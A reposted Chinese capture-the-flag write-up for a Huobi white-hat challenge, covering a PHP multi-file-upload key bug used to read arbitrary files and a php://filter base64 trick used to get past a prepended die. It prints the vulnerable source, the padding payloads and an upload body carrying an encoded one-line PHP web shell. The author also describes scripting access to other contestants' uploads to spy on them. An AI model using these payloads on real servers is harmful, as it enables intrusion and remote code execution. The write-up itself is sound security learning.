1. 云栖社区>
  2. PHP教程>
  3. 正文

三个白帽挑战赛之[续集]火币网2W大挑战Writeup

作者:用户 来源:互联网 时间:2017-12-01 09:36:43

Writeup挑战续集挑战赛

三个白帽挑战赛之[续集]火币网2W大挑战Writeup - 摘要: 本文讲的是三个白帽挑战赛之[续集]火币网2W大挑战Writeup,0x00 分析 乌云峰会那两天放的题,没人撸出来,今晚又开题了 根据上次获得的情报和这次放出的两个tips: 多文件上传,php源码对数组键值处理错误导致安全漏洞 base64解码导致字符丢失 开始前我就开始搜了,然

0x00 分析

乌云峰会那两天放的题,没人撸出来,今晚又开题了

根据上次获得的情报和这次放出的两个tips:

多文件上传,php源码对数组键值处理错误导致安全漏洞 base64解码导致字符丢失

开始前我就开始搜了,然后搜到了一个 CVE-2012-1172 ,根据这CVE找到一篇blog: https://nealpoole.com/blog/2011/10/directory-traversal-via-php-multi-file-uploads/

根据这篇博客中的代码,还有之前得到的情报,可以猜到大概就是该漏洞

我们来分析一下,我用phpstudy,在服务器上搭了一个5.2.17的php+apache服务, 测试代码如下:

#!php//upload.php<?phperror_reporting(-1);ini_set("display_errors", 1);print_r($_FILES);?><form action="" method="POST" enctype="multipart/form-data" ><input type="file" name="pictures1"><input type="file" name="pictures2"><input type="file" name="pictures3"><input type="submit" value="submit">

然后根据博客中的描述,发现有一下两种情况:

三个白帽挑战赛之[续集]火币网2W大挑战Writeup

三个白帽挑战赛之[续集]火币网2W大挑战Writeup

上图中还带了一个正常情况下 $_FILES 的键值

在乌云峰会当时RR菊苣日题的情况能分析出此题大致的流程: 通过文件读取之类的函数获取上传缓存文件的内容 -> 进行base64编码 -> 存入数据库 -> 当访问相应的链接时 -> 请求数据库,获取该文件base64编码的内容 -> base64解码后开头加上字符串 <?php die;?> -> 写入 upload 目录下 -> 读取该文件

然后也有大致的日题思路: 通过文件上传这类的漏洞读取源码 -> 代码审计,根据提示是base64解码这里有某些bug,通过该bug可以把干掉死亡之 die

根据上述的流程和思路,第一步大致很清晰了,通过某些方法,使 tmp_name 可控,则可以读取任意文件base64编码后存入数据库,根据该思路猜测上述CVE大致的利用方法:

三个白帽挑战赛之[续集]火币网2W大挑战Writeup

PS: 文件名和缓存文件名是必须的两个参数

一般我们获取文件名和缓冲文件名是使用 $_FILES['xxx']['name']; $_FILES['xxx']['tmp_name']

而该题是多文件上传,所以可猜测是使用 $_FILES['xxx']['name'][$key]; $_FILES['xxx']['tmp_name'][$key]

当 $key = "[name" 时, $_FILES['xxx']['tmp_name'][$key] 是可控的

而第二步猜测在比赛前却没搜到答案

0x01 实战

开始做题,第一步和我猜想的几乎一样,但是在回家上电梯的时候,我却想到一个搅屎的方法,因为该题上传的每一个文件,都有一个对应的链接,比如: index.php?download=803&filename=upload/evilddog2 , 在该链接点击之前, upload 目录下是不存在我上传的 evilddog2 文件,当我点击个链接后,才会存在该文件,同时该链接失效.

根据该流程,我可以写一个脚本,去访问别人上传的文件,会导致:

以为自己没上传成功(其实成功了,在upload目录下会产生该文件). 我可以看别人的做题进度,思路之类的.

比如,该题的第一份源码不是我自己日出来的,是我随便点了一个 ccc 的的文件出来的.

还是说说正规的思路吧:

三个白帽挑战赛之[续集]火币网2W大挑战Writeup

右边这个链接 index.php?download=803&filename=upload/evilddog2 点开后就是 index.php 的源码了

#!php<?phperror_reporting(E_ALL^E_NOTICE^E_WARNING);include 'init.php';$nowtime = time();if(is_array($_FILES) && !empty($_FILES)){ //var_dump($_FILES); foreach($_FILES["homework"]["name"] as $key => $name) { if (!empty($_FILES["homework"]["name"][$key])) { $filename = htmlspecialchars($_FILES["homework"]["name"][$key]); $tmpFile = $_FILES["homework"]["tmp_name"][$key]; //$size = $_FILES["homework"]["size"][$key]; // echo $tmpFile; $content = base64_encode(file_get_contents($tmpFile)); $echoCentent[] = $content; if(!empty($content)) { $sql = "insert into homework(`filename`,`content`,`time`) values('".$filename."','".$content."','".$nowtime."')"; if(!mysql_query($sql)) { die('hello hacker!'); } } } }}if(isset($_GET['download']) and isset($_GET['filename'])){ $download = addslashes(htmlspecialchars_decode($_GET['download'])); $filename = addslashes(htmlspecialchars_decode($_GET['filename'])); if(file_exists($filename)) { unlink($filename); } $sql = "select content from homework where id='$download'"; $result = mysql_query($sql); while($row = mysql_fetch_array($result)) { $devalContents = "<?php die; ?>/n"; $devalContents .= base64_decode($row['content']); file_put_contents("$filename",$devalContents); $filename = str_replace("upload/",'',$filename); header("location:upload/".urlencode($filename)); } $sql = "delete from homework where id='$download';"; if(!mysql_query($sql)) { die("hello hacker!"); }}//PS:只贴PHP部分?>

上面就是该题的主要的源码了,然后就是进入下一步,关键代码:

#!php$devalContents = "<?php die; ?>/n"; $devalContents .= base64_decode($row['content']);file_put_contents("$filename",$devalContents);$filename = str_replace("upload/",'',$filename);header("location:upload/".urlencode($filename));

搜到了一个链接 http://www.2cto.com/Article/201303/192410.html

我们发现 $filename 是可控参数,所以可以利用伪协议: php://filter/write=convert.base64-decode/resource=upload/ddog.php

也就是说,把 $devalContents 变量的内容进行base64解码后写入 upload/ddog.php 文件.

这里有一个地方需要注意,会出现Incorrect padding错误,在php中不会提示,以下是python运行结果:

#!python>>> p'<?php die; ?>/n'>>> payload'<?php phpinfo();?>'>>> x1 = base64.b64encode(payload)>>> base64.b64decode(p+x1)Traceback (most recent call last): File "<stdin>", line 1, in <module> File "/usr/lib/python2.7/base64.py", line 78, in b64decode raise TypeError(msg)TypeError: Incorrect paddingIncorrect padding

所以我们需要填充字符

#!python>>> base64.b64decode(p+"s"+x1)Traceback (most recent call last): File "<stdin>", line 1, in <module> File "/usr/lib/python2.7/base64.py", line 78, in b64decode raise TypeError(msg)TypeError: Incorrect paddingIncorrect padding>>> base64.b64decode(p+"ss"+x1)'/xa6/x1a]/x89/xeb,<?php phpinfo();?>'>>> x1'PD9waHAgcGhwaW5mbygpOz8+'

如果我们把 ssPD9waHAgcGhwaW5mbygpOz8+ 作为文件内容

php://filter/write=convert.base64-decode/resource=upload/ddog.php 作为文件名

则将会在 upload/ddog.php 中写入 /xa6/x1a]/x89/xeb,<?php phpinfo();?>

成功bypass死亡之 die

上传内容为:

#!bashContent-Disposition: form-data; name="homework[]"; filename="evilddog2"Content-Type: application/x-phpssPD9waHAgJF9HRVRbYV0oJF9QT1NUW2Z1Y2tkZG9nXSk7Pz4

访问链接: /index.php?download=711&filename=php://filter/write=convert.base64-decode/resource=upload/fuckevilddog.php

连上蚁剑, GetFlag!

三个白帽挑战赛之[续集]火币网2W大挑战Writeup

以上是云栖社区小编为您精心准备的的内容,在云栖社区的博客、问答、公众号、人物、课程等栏目也有的相关内容,欢迎继续使用右上角搜索按钮进行搜索 , , Writeup , 挑战 , 续集 挑战赛 ,以便于您获取更多的相关知识。